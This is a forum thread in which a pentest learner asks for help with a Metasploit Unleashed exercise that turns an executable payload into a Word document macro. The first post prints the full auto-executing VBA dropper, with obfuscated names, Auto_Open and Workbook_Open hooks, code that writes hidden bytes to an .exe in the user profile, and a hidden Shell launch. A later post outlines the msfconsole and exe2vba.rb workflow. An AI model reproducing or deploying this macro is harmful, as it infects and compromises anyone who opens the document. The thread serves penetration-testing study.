metasploit vbs to .doc errors

[pentest09]

Hi all,
Im trying to complete the met unleashed vbs to word doc lesson but when i paste the vbs contents of the file , the macro part i get an error, now do i have to place the hex payload part of the vbs into the document itself and is that why im getting the error below?

Macro in vb editor
----------------------------------------------------------------------
Sub Auto_Open()
Gissm12
End Sub
Sub Gissm12()
Dim Gissm7 As Integer
Dim Gissm1 As String
Dim Gissm2 As String
Dim Gissm3 As Integer
Dim Gissm4 As Paragraph
Dim Gissm8 As Integer
Dim Gissm9 As Boolean
Dim Gissm5 As Integer
Dim Gissm11 As String
Dim Gissm6 As Byte
Dim Etoagmmddj As String
Etoagmmddj = "Etoagmmddj"
Gissm1 = "RHEIbSDXOr.exe"
Gissm2 = Environ("USERPROFILE")
ChDrive (Gissm2)
ChDir (Gissm2)
Gissm3 = FreeFile()
Open Gissm1 For Binary As Gissm3
For Each Gissm4 In ActiveDocument.Paragraphs
DoEvents
Gissm11 = Gissm4.Range.Text
If (Gissm9 = True) Then
Gissm8 = 1
While (Gissm8 < Len(Gissm11))
Gissm6 = Mid(Gissm11, Gissm8, 4)
Put #Gissm3, , Gissm6
Gissm8 = Gissm8 + 4
Wend
ElseIf (InStr(1, Gissm11, Etoagmmddj) > 0 And Len(Gissm11) > 0) Then
Gissm9 = True
End If
Next
Close #Gissm3
Gissm13 (Gissm1)
End Sub
Sub Gissm13(Gissm10 As String)
Dim Gissm7 As Integer
Dim Gissm2 As String
Gissm2 = Environ("USERPROFILE")
ChDrive (Gissm2)
ChDir (Gissm2)
Gissm7 = Shell(Gissm10, vbHide) <----------------(this is highlighted error)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
---------------------------------------------------------------------------------

Please advise.....Thanks

[espreto]

I do not know the others, but I can not understand your posts, you're never clear enough!
Read more 10 times.

VBScript Infection Methods

If you still are having difficulty, please contact us via irc.

#metasploit

Regards,

[pentest09]

Thanks for ur reply espreto, heres the deal:

I create my payload in msfconsole with endoding and output to the msf directory with -o file.exe, i then move it to tools, then convert it via the ruby ruby exe2vba.rb file.exe file.vbs. Thats all good....now i open the file.vbs and copy the first part of the vbs which is for the macro yes? which is pasted into the macro in vb editor then save as normal and enter text into the document but it gives an error on opening, now hdmoore states that u need to do it in 2 parts 1: macro and 2: the payload hex needs to go into the document itself at the end . Is this why it maybe not working?

Regards dee

[espreto]

Understand the error here:

VBScript User's Guide

Try using the SET too.

Regards,